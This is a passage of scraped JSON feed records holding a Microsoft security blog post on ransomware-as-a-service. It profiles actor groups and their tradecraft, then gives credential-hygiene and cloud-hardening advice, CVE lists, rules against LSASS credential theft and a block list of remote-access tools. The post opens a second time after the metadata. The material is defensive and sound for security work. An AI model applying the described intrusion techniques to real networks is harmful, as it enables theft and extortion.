lower-value targets. They have been observed to experiment with some payloads only to abandon them later.\n\n_Figure 4. Ransomware payloads distributed by DEV-0237 between 2020 and April 2022_\n\nBeyond RaaS payloads, DEV-0237 uses the cybercriminal gig economy to also gain initial access to networks. DEV-0237\u2019s proliferation and success rate come in part from their willingness to leverage the network intrusion work and malware implants of other groups versus performing their own initial compromise and malware development.\n\nFigure 5. Examples of DEV-0237\u2019s relationships with other cybercriminal activity groups\n\nLike all RaaS operators, DEV-0237 relies on compromised, highly privileged account credentials and security weaknesses once inside a network. DEV-0237 often leverages Cobalt Strike Beacon dropped by the malware they have purchased, as well as tools like SharpHound to conduct reconnaissance. The group often utilizes BITSadmin /transfer to stage their payloads. An often-documented trademark of Ryuk and Conti deployments is naming the ransomware payload _xxx.exe_, a tradition that DEV-0237 continues to use no matter what RaaS they are deploying, as most recently observed with BlackCat. In late March of 2022, DEV-0237 was observed to be using a new version of Hive again.\n\n### DEV-0206 and DEV-0243: An \u201cevil\u201d partnership\n\nMalvertising, which refers to taking out a search engine ad to lead to a malware payload, has been used in many campaigns, but the access broker that Microsoft tracks as DEV-0206 uses this as their primary technique to gain access to and profile networks. Targets are lured by an ad purporting to be a browser update, or a software package, to download a ZIP file and double-click it. The ZIP package contains a JavaScript file (.js), which in most environments runs when double-clicked. Organizations that have changed the settings such that script files open with a text editor by default instead of a script handler are largely immune from this threat, even if a user double clicks the script.\n\nOnce successfully executed, the JavaScript framework, also referred to [SocGholish](<https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us>), acts as a loader for other malware campaigns that use access purchased from DEV-0206, most commonly Cobalt Strike payloads. These payloads have, in numerous instances, led to custom Cobalt Strike loaders attributed to DEV-0243. DEV-0243 falls under activities tracked by the cyber intelligence industry as \u201cEvilCorp,\u201d The custom Cobalt Strike loaders are similar to those seen in publicly documented [Blister](<https://www.elastic.co/blog/elastic-security-uncovers-blister-malware-campaign>) malware\u2019s inner payloads. In DEV-0243\u2019s initial partnerships with DEV-0206, the group deployed a custom ransomware payload known as WastedLocker, and then expanded to additional DEV-0243 ransomware payloads developed in-house, such as PhoenixLocker and Macaw.\n\nAround November 2021, DEV-0243 started to deploy the LockBit 2.0 RaaS payload in their intrusions. The use of a RaaS payload by the \u201cEvilCorp\u201d activity group is likely an attempt by DEV-0243 to avoid attribution to their group, which could discourage payment due to their sanctioned status. \n\nFigure 6. The handover from DEV-0206 to DEV-0243\n\n### DEV-0401: China-based lone wolf turned LockBit 2.0 affiliate\n\nDiffering from the other RaaS developers, affiliates, and access brokers profiled here, DEV-0401 appears to be an activity group involved in all stages of their attack lifecycle, from initial access to ransomware development. Despite this, they seem to take some inspiration from successful RaaS operations with the frequent rebranding of their ransomware payloads. Unique among human-operated ransomware threat actors tracked by Microsoft, DEV-0401 [is confirmed to be a China-based activity group.](<https://twitter.com/MsftSecIntel/status/1480730559739359233>)\n\nDEV-0401 differs from many of the attackers who rely on purchasing access to existing malware implants or exposed RDP to enter a network. Instead, the group heavily utilizes unpatched vulnerabilities to access networks, including vulnerabilities in Exchange, Manage Engine AdSelfService Plus, Confluence, and [Log4j 2](<https://digital.nhs.uk/cyber-alerts/2022/cc-4002>). Due to the nature of the vulnerabilities they preferred, DEV-0401 gains elevated credentials at the initial access stage of their attack.\n\nOnce inside a network, DEV-0401 relies on standard techniques such as using Cobalt Strike and WMI for lateral movement, but they have some unique preferences for implementing these behaviors. Their Cobalt Strike Beacons are frequently launched via DLL search order hijacking. While they use the common Impacket tool for WMI lateral movement, they use a customized version of the _wmiexec.py_ module of the tool that creates renamed output files, most likely to evade static detections. Ransomware deployment is ultimately performed from a batch file in a share and Group Policy, usually written to the NETLOGON share on a Domain Controller, which requires the attackers to have obtained highly privileged credentials like Domain Administrator to perform this action.\n\nFigure 7. Ransomware payloads distributed by DEV-0401 between 2021 and April 2022\n\nBecause DEV-0401 maintains and frequently rebrands their own ransomware payloads, they can appear as different groups in payload-driven reporting and evade detections and actions against them. Their payloads are sometimes rebuilt from existing for-purchase ransomware tools like Rook, which shares code similarity with the Babuk ransomware family. In February of 2022, DEV-0401 was observed deploying the Pandora ransomware family, primarily via unpatched VMware Horizon systems vulnerable to the [Log4j 2 CVE-2021-44228 vulnerability](<https://digital.nhs.uk/cyber-alerts/2022/cc-4002>).\n\nLike many RaaS operators, DEV-0401 maintained a leak site to post exfiltrated data and motivate victims to pay, however their frequent rebranding caused these systems to sometimes be unready for their victims, with their leak site sometimes leading to default web server landing pages when victims attempt to pay. In a notable shift\u2014possibly related to victim payment issues\u2014DEV-0401 started deploying LockBit 2.0 ransomware payloads in April 2022.\n\n### DEV-0537: From extortion to destruction\n\nAn example of a threat actor who has moved to a pure extortion and destruction model without deploying ransomware payloads is an activity group that Microsoft tracks as DEV-0537, also known as LAPSUS$. Microsoft has detailed DEV-0537 actions taken in early 2022 [in this blog](<https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/>). DEV-0537 started targeting organizations mainly in Latin America but expanded to global targeting, including government entities, technology, telecom, retailers, and healthcare. Unlike more opportunistic attackers, DEV-0537 targets specific companies with an intent. Their initial access techniques include exploiting unpatched vulnerabilities in internet-facing systems, searching public code repositories for credentials, and taking advantage of weak passwords. In addition, there is evidence that DEV-0537 leverages credentials stolen by the Redline password stealer, a piece of malware available for purchase in the cybercriminal economy. The group also buys credentials from underground forums which were gathered by other password-stealing malware.\n\nOnce initial access to a network is gained, DEV-0537 takes advantage of security misconfigurations to elevate privileges and move laterally to meet their objectives of data exfiltration and extortion. While DEV-0537 doesn\u2019t possess any unique technical capabilities, the group is especially cloud-aware. They target cloud administrator accounts to set up forwarding rules for email exfiltration and tamper with administrative settings on cloud environments. As part of their goals to force payment of ransom, DEV-0537 attempts to delete all server infrastructure and data to cause business disruption. To further facilitate the achievement of their goals, they remove legitimate admins and delete cloud resources and server infrastructure, resulting in destructive attacks. \n\nDEV-0537 also takes advantage of cloud admin privileges to monitor email, chats, and VOIP communications to track incident response efforts to their intrusions. DEV-0537 has been observed on multiple occasions to join incident response calls, not just observing the response to inform their attack but unmuting to demand ransom and sharing their screens while they delete their victim\u2019s data and resources.\n\n## Defending against ransomware: Moving beyond protection by detection\n\nA durable security strategy against determined human adversaries must include the goal of mitigating classes of attacks and detecting them. Ransomware attacks generate multiple, disparate security product alerts, but they could easily get lost or not responded to in time. Alert fatigue is real, and SOCs can make their lives easier by looking at trends in their alerts or grouping alerts into incidents so they can see the bigger picture. SOCs can then mitigate alerts using hardening capabilities like attack surface reduction rules. Hardening against common threats can reduce alert volume and stop many attackers before they get access to networks. \n\nAttackers tweak their techniques and have tools to evade and disable security products. They are also well-versed in system administration and try to blend in as much as possible. However, while attacks have continued steadily and with increased impact, the attack techniques attackers use haven\u2019t changed much over the years. Therefore, a renewed focus on prevention is needed to curb the tide.\n\nRansomware attackers are motivated by easy profits, so adding to their cost via security hardening is key in disrupting the cybercriminal economy.\n\n### Building credential hygiene\n\nMore than malware, attackers need credentials to succeed in their attacks. In almost all attacks where ransomware deployment was successful, the attackers had access to a domain admin-level account or local administrator passwords that were consistent throughout the environment. Deployment then can be done through Group Policy or tools like PsExec (or clones like PAExec, CSExec, and WinExeSvc). Without the credentials to provide administrative access in a network, spreading ransomware to multiple systems is a bigger challenge for attackers. Compromised credentials are so important to these attacks that when cybercriminals sell ill-gotten access to a network, in many instances, the price includes a guaranteed administrator account to start with.\n\nCredential theft is a common attack pattern. Many administrators know tools like Mimikatz and LaZagne, and their capabilities to steal passwords from interactive logons in the LSASS process. Detections exist for these tools accessing the LSASS process in most security products. However, the risk of credential exposure isn\u2019t just limited to a domain administrator logging in interactively to a workstation. Because attackers have accessed and explored many networks during their attacks, they have a deep knowledge of common network configurations and use it to their advantage. One common misconfiguration they exploit is running services and scheduled tasks as highly privileged service accounts.\n\nToo often, a legacy configuration ensures that a mission-critical application works by giving the utmost permissions possible. Many organizations struggle to fix this issue even if they know about it, because they fear they might break applications. This configuration is especially dangerous as it leaves highly privileged credentials exposed in the LSA Secrets portion of the registry, which users with administrative access can access. In organizations where the local administrator rights haven\u2019t been removed from end users, attackers can be one hop away from domain admin just from an initial attack like a banking trojan. Building credential hygiene is developing a logical segmentation of the network, based on privileges, that can be implemented alongside network segmentation to limit lateral movement.\n\n**Here are some steps organizations can take to build credential hygiene:**\n\n * Aim to run services as Local System when administrative privileges are needed, as this allows applications to have high privileges locally but can\u2019t be used to move laterally. Run services as Network Service when accessing other resources.\n * Use tools like [LUA Buglight](<https://techcommunity.microsoft.com/t5/windows-blog-archive/lua-buglight-2-3-with-support-for-windows-8-1-and-windows-10/ba-p/701459>) to determine the privileges that applications really need.\n * Look for events with EventID 4624 where [the logon type](<https://twitter.com/jepayneMSFT/status/1012815189345857536>) is 2, 4, 5, or 10 _and_ the account is highly privileged like a domain admin. This helps admins understand which credentials are vulnerable to theft via LSASS or LSA Secrets. Ideally, any highly privileged account like a Domain Admin shouldn\u2019t be exposed on member servers or workstations.\n * Monitor for EventID 4625 (Logon Failed events) in Windows Event Forwarding when removing accounts from privileged groups. Adding them to the local administrator group on a limited set of machines to keep an application running still reduces the scope of an attack as against running them as Domain Admin.\n * Randomize Local Administrator passwords with a tool like [Local Administrator Password S](<https://aka.ms/laps>)olution (LAPS) to prevent lateral movement using local accounts with shared passwords.\n * Use a [cloud-based identity security solution](<https://docs.microsoft.com/defender-for-identity/what-is>) that leverages on-premises Active Directory signals get visibility into identity configurations and to identify and detect threats or compromised identities\n\n### Auditing credential exposure\n\nAuditing credential exposure is critical in preventing ransomware attacks and cybercrime in general. [BloodHound](<https://github.com/BloodHoundAD/BloodHound>) is a tool that was originally designed to provide network defenders with insight into the number of administrators in their environment. It can also be a powerful tool in reducing privileges tied to administrative account and understanding your credential exposure. IT security teams and SOCs can work together with the authorized use of this tool to enable the reduction of exposed credentials. Any teams deploying BloodHound should monitor it carefully for malicious use. They can also use [this detection guidance](<https://techcommunity.microsoft.com/t5/microsoft-defender-for-endpoint/hunting-for-reconnaissance-activities-using-ldap-search-filters/ba-p/824726>) to watch for malicious use.\n\nMicrosoft has observed ransomware attackers also using BloodHound in attacks. When used maliciously, BloodHound allows attackers to see the path of least resistance from the systems they have access, to highly privileged accounts like domain admin accounts and global administrator accounts in Azure.\n\n### Prioritizing deployment of Active Directory updates\n\nSecurity patches for Active Directory should be applied as soon as possible after they are released. Microsoft has witnessed ransomware attackers adopting authentication vulnerabilities within one hour of being made public and as soon as those vulnerabilities are included in tools like Mimikatz. Ransomware activity groups also rapidly adopt vulnerabilities related to authentication, such as ZeroLogon and PetitPotam, especially when they are included in toolkits like Mimikatz. When unpatched, these vulnerabilities could allow attackers to rapidly escalate from an entrance vector like email to Domain Admin level privileges.\n\n### Cloud hardening\n\nAs attackers move towards cloud resources, it\u2019s important to secure cloud resources and identities as well as on-premises accounts. Here are ways organizations can harden cloud environments:\n\n**Cloud identity hardening**\n\n * Implement the [Azure Security Benchmark](<https://docs.microsoft.com/security/benchmark/azure/>) and general [best practices for securing identity infrastructure](<https://docs.microsoft.com/azure/security/fundamentals/identity-management-best-practices>), including:\n * Prevent on-premises service accounts from having direct rights to the cloud resources to prevent lateral movement to the cloud.\n * Ensure that \u201cbreak glass\u201d account passwords are stored offline and configure honey-token activity for account usage.\n * Implement [Conditional Access policies](<https://docs.microsoft.com/azure/active-directory/conditional-access/plan-conditional-access>) enforcing [Microsoft\u2019s Zero Trust principles](<https://www.microsoft.com/security/business/zero-trust>).\n * Enable [risk-based user sign-in protection](<https://docs.microsoft.com/azure/active-directory/authentication/tutorial-risk-based-sspr-mfa>) and automate threat response to block high-risk sign-ins from all locations and enable MFA for medium-risk ones.\n * Ensure that VPN access is protected via [modern authentication methods](<https://docs.microsoft.com/azure/active-directory/fundamentals/concept-fundamentals-block-legacy-authentication#step-1-enable-modern-authentication-in-your-directory>).\n\n**Multifactor authentication (MFA)**\n\n * Enforce MFA on all accounts, remove users excluded from MFA, and strictly r[equire MFA](<https://docs.microsoft.com/azure/active-directory/identity-protection/howto-identity-protection-configure-mfa-policy>) from all devices, in all locations, at all times.\n * Enable passwordless authentication methods (for example, Windows Hello, FIDO keys, or Microsoft Authenticator) for accounts that support passwordless. For accounts that still require passwords, use authenticator apps like Microsoft Authenticator for MFA. Refer to [this article](<https://docs.microsoft.com/azure/active-directory/authentication/concept-authentication-methods>) for the different authentication methods and features.\n * [Identify and secure workload identities](<https://docs.microsoft.com/azure/active-directory/identity-protection/concept-workload-identity-risk>) to secure accounts where traditional MFA enforcement does not apply.\n * Ensure that users are properly educated on not accepting unexpected two-factor authentication (2FA).\n * For MFA that uses authenticator apps, ensure that the app requires a code to be typed in where possible, as many intrusions where MFA was enabled (including those by DEV-0537) still succeeded due to users clicking \u201cYes\u201d on the prompt on their phones even when they were not at their [computers](<https://docs.microsoft.com/azure/active-directory/authentication/how-to-mfa-number-match>). Refer to [this article](<https://docs.microsoft.com/azure/active-directory/authentication/concept-authentication-methods>) for an example.\n * Disable [legacy authentication](<https://docs.microsoft.com/azure/active-directory/fundamentals/concept-fundamentals-block-legacy-authentication#moving-away-from-legacy-authentication>).\n\n**Cloud admins**\n\n * Ensure cloud admins/tenant admins are treated with [the same level of security and credential hygiene](<https://docs.microsoft.com/azure/active-directory/roles/best-practices>) as Domain Admins.\n * Address [gaps in authentication coverage](<https://docs.microsoft.com/azure/active-directory/authentication/how-to-authentication-find-coverage-gaps>).\n\n### Addressing security blind spots\n\nIn almost every observed ransomware incident, at least one system involved in the attack had a misconfigured security product that allowed the attacker to disable protections or evade detection. In many instances, the initial access for access brokers is a legacy system that isn\u2019t protected by antivirus or EDR solutions. It\u2019s important to understand that the lack security controls on these systems that have access to highly privileged credentials act as blind spots that allow attackers to perform the entire ransomware and exfiltration attack chain from a single system without being detected. In some instances, this is specifically advertised as a feature that access brokers sell.\n\nOrganizations should review and verify that security tools are running in their most secure configuration and perform regular network scans to ensure appropriate security products are monitoring and protecting all systems, including servers. If this isn\u2019t possible, make sure that your legacy systems are either physically isolated through a firewall or logically isolated by ensuring they have no credential overlap with other systems.\n\nFor Microsoft 365 Defender customers, the following checklist eliminates security blind spots:\n\n * Turn on [cloud-delivered protection](<https://docs.microsoft.com/microsoft-365/security/defender-endpoint/configure-block-at-first-sight-microsoft-defender-antivirus?view=o365-worldwide>) in Microsoft Defender Antivirus to cover rapidly evolving attacker tools and techniques, block new and unknown malware variants, and enhance attack surface reduction rules and tamper protection.\n * Turn on [tamper protection](<https://docs.microsoft.com/microsoft-365/security/defender-endpoint/prevent-changes-to-security-settings-with-tamper-protection?view=o365-worldwide>) features to prevent attackers from stopping security services.\n * Run [EDR in block mode](<https://docs.microsoft.com/microsoft-365/security/defender-endpoint/edr-in-block-mode?view=o365-worldwide>) so that Microsoft Defender for Endpoint can block malicious artifacts, even when a non-Microsoft antivirus doesn\u2019t detect the threat or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode also blocks indicators identified proactively by Microsoft Threat Intelligence teams.\n * Enable [network protection](<https://docs.microsoft.com/microsoft-365/security/defender-endpoint/enable-network-protection?view=o365-worldwide>) to prevent applications or users from accessing malicious domains and other malicious content on the internet.\n * Enable [investigation and remediation](<https://docs.microsoft.com/microsoft-365/security/defender-endpoint/automated-investigations?view=o365-worldwide>) in full automated mode to allow Microsoft Defender for Endpoint to take immediate action on alerts to resolve breaches.\n * Use [device discovery](<https://docs.microsoft.com/microsoft-365/security/defender-endpoint/device-discovery?view=o365-worldwide>) to increase visibility into the network by finding unmanaged devices and onboarding them to Microsoft Defender for Endpoint.\n * [Protect user identities and credentials](<https://docs.microsoft.com/defender-for-identity/what-is>) using Microsoft Defender for Identity, a cloud-based security solution that leverages on-premises Active Directory signals to monitor and analyze user behavior to identify suspicious user activities, configuration issues, and active attacks.\n\n### Reducing the attack surface\n\nMicrosoft 365 Defender customers can turn on [attack surface reduction rules](<https://docs.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction?view=o365-worldwide>) to prevent common attack techniques used in ransomware attacks. These rules, which can be configured by all Microsoft Defender Antivirus customers and not just those using the EDR solution, offer significant hardening against attacks. In observed attacks from several ransomware-associated activity groups, Microsoft customers who had the following rules enabled were able to mitigate the attack in the initial stages and prevented hands-on-keyboard activity:\n\n * Common entry vectors:\n * [Block all Office applications from creating child processes](<https://docs.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction#block-all-office-applications-from-creating-child-processes>)\n * [Block Office communication application from creating child processes](<https://docs.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction#block-office-communication-application-from-creating-child-processes>)\n * [Block Office applications from creating executable content](<https://docs.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction#block-office-applications-from-creating-executable-content>)\n * [Block Office applications from injecting code into other processes](<https://docs.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction#block-office-applications-from-injecting-code-into-other-processes>)\n * [Block execution of potentially obfuscated scripts](<https://docs.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction#block-execution-of-potentially-obfuscated-scripts>)\n * [Block JavaScript or VBScript from launching downloaded executable content](<https://docs.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction#block-javascript-or-vbscript-from-launching-downloaded-executable-content>)\n * Ransomware deployment and lateral movement stage (in order of impact based on the stage in attack they prevent):\n * [Block executable files from running unless they meet a prevalence, age, or trusted list criterion](<https://docs.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction#block-executable-files-from-running-unless-they-meet-a-prevalence-age-or-trusted-list-criterion>)\n * [Block credential stealing from the Windows local security authority subsystem (lsass.exe)](<https://docs.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction#block-credential-stealing-from-the-windows-local-security-authority-subsystem>)\n * [Block process creations originating from PsExec and WMI commands](<https://docs.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction#block-process-creations-originating-from-psexec-and-wmi-commands>)\n * [Use advanced protection against ransomware](<https://docs.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction#use-advanced-protection-against-ransomware>)\n\nIn addition, Microsoft has changed the [default behavior of Office applications to block macros](<https://docs.microsoft.com/DeployOffice/security/internet-macros-blocked>) in files from the internet, further reduce the attack surface for many human-operated ransomware attacks and other threats.\n\n### Hardening internet-facing assets and understanding your perimeter\n\nOrganizations must identify and secure perimeter systems that attackers might use to access the network. Public scanning interfaces, such as [RiskIQ](<https://www.riskiq.com/what-is-attack-surface-management/>), can be used to augment data. Some systems that should be considered of interest to attackers and therefore need to be hardened include:\n\n * Secure Remote Desktop Protocol (RDP) or Windows Virtual Desktop endpoints with MFA to harden against password spray or brute force attacks.\n * Block Remote IT management tools such as Teamviewer, Splashtop, Remote Manipulator System, Anydesk, Atera Remote Management, and ngrok.io via network blocking such as perimeter firewall rules if not in use in your environment. If these systems are used in your environment, enforce security settings where possible to implement MFA.\n\nRansomware attackers and access brokers also use unpatched vulnerabilities, whether already disclosed or zero-day, especially in the initial access stage. Even older vulnerabilities were implicated in ransomware incidents in 2022 because some systems remained unpatched, partially patched, or because access brokers had established persistence on a previously compromised systems despite it later being patched.\n\nSome observed vulnerabilities used in campaigns between 2020 and 2022 that defenders can check for and mitigate include:\n\n * Citrix ADC systems affected by [CVE-2019-19781](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-19781>)\n * [Pulse Secure VPN systems](<https://us-cert.cisa.gov/ncas/alerts/aa21-110a>) affected by [CVE-2019-11510](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11510>), [CVE-2020-8260](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8260>), [CVE-2020-8243](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8243>), [CVE-2021-22893](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44784/>), [CVE-2021-22894](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22894>), [CVE-2021-22899](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22899>), and [CVE-2021-22900](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22900>)\n * SonicWall SSLVPN affected by [CVE-2021-20016](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-20016>)\n * Microsoft SharePoint servers affected by [CVE-2019-0604](<https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2019-0604>)\n * Unpatched [Microsoft Exchange servers](<https://techcommunity.microsoft.com/t5/exchange-team-blog/released-may-2021-exchange-server-security-updates/ba-p/2335209>)\n * Zoho ManageEngine systems affected by [CVE-2020-10189](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-10189>)\n * FortiGate VPN servers affected by [CVE-2018-13379](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-13379>)\n * Apache log4j [CVE-2021-44228](<https://nvd.nist.gov/vuln/detail/CVE-2021-44228>)\n\nRansomware attackers also rapidly [adopt new vulnerabilities](<https://digital.nhs.uk/cyber-alerts/2022/cc-4002>). To further reduce organizational exposure, Microsoft Defender for Endpoint customers can use the [threat and vulnerability management](<https://docs.microsoft.com/microsoft-365/security/defender-endpoint/next-gen-threat-and-vuln-mgt>) capability to discover, prioritize, and remediate vulnerabilities and misconfigurations.\n\n## Microsoft 365 Defender: Deep cross-domain visibility and unified investigation capabilities to defend against ransomware attacks\n\nThe multi-faceted threat of ransomware requires a comprehensive approach to security. The steps we outlined above defend against common attack patterns and will go a long way in preventing ransomware attacks. [Microsoft 365 Defender](<https://www.microsoft.com/microsoft-365/security/microsoft-365-defender>) is designed to make it easy for organizations to apply many of these security controls.\n\nMicrosoft 365 Defender\u2019s industry-leading visibility and detection capabilities, demonstrated in the recent [MITRE Engenuity ATT&CK\u00ae Evaluations](<https://www.microsoft.com/security/blog/2022/04/05/microsoft-365-defender-demonstrates-industry-leading-protection-in-the-2022-mitre-engenuity-attck-evaluations/>), automatically stop most common threats and attacker techniques. To equip organizations with the tools to combat human-operated ransomware, which by nature takes a unique path for every organization, Microsoft 365 Defender provides rich investigation features that enable defenders to seamlessly inspect and remediate malicious behavior across domains.\n\n[Learn how you can stop attacks through automated, cross-domain security and built-in AI with Microsoft Defender 365.](<https://www.microsoft.com/microsoft-365/security/microsoft-365-defender>)\n\nIn line with the recently announced expansion into a new service category called [**Microsoft Security Experts**](<https://www.microsoft.com/en-us/security/business/services>), we're introducing the availability of [Microsoft Defender Experts for Hunting](<https://docs.microsoft.com/en-us/microsoft-365/security/defender/defenderexpertsforhuntingprev>) for public preview. Defender Experts for Hunting is for customers who have a robust security operations center but want Microsoft to help them proactively hunt for threats across Microsoft Defender data, including endpoints, Office 365, cloud applications, and identity.\n\nJoin our research team at the **Microsoft Security Summit** digital event on May 12 to learn what developments Microsoft is seeing in the threat landscape, as well as how we can help your business mitigate these types of attacks. Ask your most pressing questions during the live chat Q&A. [Register today.](<https://mssecuritysummit.eventcore.com?ocid=AID3046765_QSG_584073>)\n\nThe post [Ransomware-as-a-service: Understanding the cybercrime gig economy and how to protect yourself](<https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/>) appeared first on [Microsoft Security Blog](<https://www.microsoft.com/security/blog>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-05-09T13:00:00", "type": "mssecure", "title": "Ransomware-as-a-service: Understanding the cybercrime gig economy and how to protect yourself", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-0604", "CVE-2019-11510", "CVE-2019-19781", "CVE-2020-10189", "CVE-2020-8243", "CVE-2020-8260", "CVE-2021-20016", "CVE-2021-22893", "CVE-2021-22894", "CVE-2021-22899", "CVE-2021-22900", "CVE-2021-31207", "CVE-2021-40444", "CVE-2021-44228"], "modified": "2022-05-09T13:00:00", "id": "MSSECURE:27EEFD67E5E7E712750B1472E15C5A0B", "href": "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "mmpc": [{"lastseen": "2022-05-09T16:00:24", "description": "Microsoft processes 24 trillion signals every 24 hours, and we have blocked billions of attacks in the last year alone. Microsoft Security tracks more than 35 unique ransomware families and 250 unique threat actors across observed nation-state, ransomware, and criminal activities.\n\nThat depth of signal intelligence gathered from various domains\u2014identity, email, data, and cloud\u2014provides us with insight into the gig economy that attackers have created with tools designed to lower the barrier for entry for other attackers, who in turn continue to pay dividends and fund operations through the sale and associated \u201ccut\u201d from their tool\u2019s success.\n\nThe cybercriminal economy is a continuously evolving connected ecosystem of many players with different techniques, goals, and skillsets. In the same way our traditional economy has shifted toward gig workers for efficiency, criminals are learning that there\u2019s less work and less risk involved by renting or selling their tools for a portion of the profits than performing the attacks themselves. This industrialization of the cybercrime economy has made it easier for attackers to use ready-made penetration testing and other tools to perform their attacks.\n\nWithin this category of threats, Microsoft has been tracking the trend in the ransomware-as-a-service (RaaS) gig economy, called [human-operated ransomware](<https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/>), which remains one of the most impactful threats to organizations. We coined the industry term \u201chuman-operated ransomware\u201d to clarify that these threats are driven by humans who make decisions at every stage of their attacks based on what they find in their target\u2019s network.\n\nUnlike the broad targeting and opportunistic approach of earlier ransomware infections, attackers behind these human-operated campaigns vary their attack patterns depending on their discoveries\u2014for example, a security product that isn\u2018t configured to prevent tampering or a service that\u2019s running as a highly privileged account like a domain admin. Attackers can use those weaknesses to elevate their privileges to steal even more valuable data, leading to a bigger payout for them\u2014with no guarantee they\u2019ll leave their target environment once they\u2019ve been paid. Attackers are also often more determined to stay on a network once they gain access and sometimes repeatedly monetize that access with additional attacks using different malware or ransomware payloads if they aren\u2019t successfully evicted.\n\nRansomware attacks have become even more impactful in recent years as more ransomware-as-a-service ecosystems have adopted the double extortion monetization strategy. All ransomware is a form of extortion, but now, attackers are not only encrypting data on compromised devices but also exfiltrating it and then posting or threatening to post it publicly to pressure the targets into paying the ransom. Most ransomware attackers opportunistically deploy ransomware to whatever network they get access to, and some even purchase access to networks from other cybercriminals. Some attackers prioritize organizations with higher revenues, while others prefer specific industries for the shock value or type of data they can exfiltrate.\n\nAll human-operated ransomware campaigns\u2014all human-operated attacks in general, for that matter\u2014share common dependencies on security weaknesses that allow them to succeed. Attackers most commonly take advantage of **an organization\u2019s poor credential hygiene and legacy configurations or misconfigurations to find easy entry and privilege escalation points in an environment.** \n\nIn this blog, we detail several of the ransomware ecosystems using the RaaS model, the importance of cross-domain visibility in finding and evicting these actors, and best practices organizations can use to protect themselves from this increasingly popular style of attack. We also offer security best practices on credential hygiene and cloud hardening, how to address security blind spots, harden internet-facing assets to understand your perimeter, and more. Here\u2019s a quick table of contents:\n\n 1. **How RaaS redefines our understanding of ransomware incidents**\n * The RaaS affiliate model explained\n * Access for sale and mercurial targeting\n 2. **\u201cHuman-operated\u201d means human decisions**\n * Exfiltration and double extortion\n * Persistent and sneaky access methods\n 3. **Threat actors and campaigns deep dive: Threat intelligence-driven response to human-operated ransomware attacks**\n 4. **Defending against ransomware: Moving beyond protection by detection**\n * Building credential hygiene\n * Auditing credential exposure\n * Prioritizing deployment of Active Directory updates\n * Cloud hardening\n * Addressing security blind spots\n * Reducing the attack surface\n * Hardening internet-facing assets and understanding your perimeter\n\n## How RaaS redefines our understanding of ransomware incidents\n\nWith ransomware being the preferred method for many cybercriminals to monetize attacks, human-operated ransomware remains one of the most impactful threats to organizations today, and it only continues to evolve. This evolution is driven by the \u201chuman-operated\u201d aspect of these attacks\u2014attackers make informed and calculated decisions, resulting in varied attack patterns tailored specifically to their targets and iterated upon until the attackers are successful or evicted.\n\nIn the past, we\u2019ve observed a tight relationship between the initial entry vector, tools, and ransomware payload choices in each campaign of one strain of ransomware. The RaaS affiliate model, which has allowed more criminals, regardless of technical expertise, to deploy ransomware built or managed by someone else, is weakening this link. As ransomware deployment becomes a gig economy, it has become more difficult to link the tradecraft used in a specific attack to the ransomware payload developers.\n\nReporting a ransomware incident by assigning it with the payload name gives the impression that a monolithic entity is behind all attacks using the same ransomware payload and that all incidents that use the ransomware share common techniques and infrastructure. However, focusing solely on the ransomware stage obscures many stages of the attack that come before, including actions like data exfiltration and additional persistence mechanisms, as well as the numerous detection and protection opportunities for network defenders.\n\nWe know, for example, that the underlying techniques used in human-operated ransomware campaigns haven\u2019t changed very much over the years\u2014attacks still prey on the same security misconfigurations to succeed. Securing a large corporate network takes disciplined and sustained focus, but there\u2019s a high ROI in implementing critical controls that prevent these 